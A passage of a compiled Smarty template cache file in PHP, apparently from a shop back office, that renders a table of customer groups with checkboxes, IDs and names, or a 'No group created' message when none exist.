$_from = $_smarty_tpl->tpl_vars['groups']->value; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array');}
foreach ($_from as $_smarty_tpl->tpl_vars['group']->key => $_smarty_tpl->tpl_vars['group']->value) {
$_smarty_tpl->tpl_vars['group']->_loop = true;
$_smarty_tpl->tpl_vars['key']->value = $_smarty_tpl->tpl_vars['group']->key;
?>
<tr>
<td>
<?php $_smarty_tpl->tpl_vars['id_checkbox'] = new Smarty_variable((('groupBox').('_')).($_smarty_tpl->tpl_vars['group']->value['id_group']), null, 0);?>
<input type="checkbox" name="groupBox[]" class="groupBox" id="<?php echo $_smarty_tpl->tpl_vars['id_checkbox']->value;?>
" value="<?php echo $_smarty_tpl->tpl_vars['group']->value['id_group'];?>
" <?php if ($_smarty_tpl->tpl_vars['fields_value']->value[$_smarty_tpl->tpl_vars['id_checkbox']->value]) {?>checked="checked"<?php }?> />
</td>
<td><?php echo $_smarty_tpl->tpl_vars['group']->value['id_group'];?>
</td>
<td>
<label for="<?php echo $_smarty_tpl->tpl_vars['id_checkbox']->value;?>
"><?php echo $_smarty_tpl->tpl_vars['group']->value['name'];?>
</label>
</td>
</tr>
<?php } ?>
</tbody>
</table>
</div>
</div>
<?php } else { ?>
<p>
<?php echo smartyTranslate(array('s'=>'No group created'),$_smarty_tpl);?>
</p>
<?php }?><?php }} ?>
| TiJester/creative | cache/smarty/compile/b0/ab/f3/b0abf38c00e722d8a5ea787cb2309857b777eb52.file.form_group.tpl.php | PHP | gpl-3.0 | 3,330 |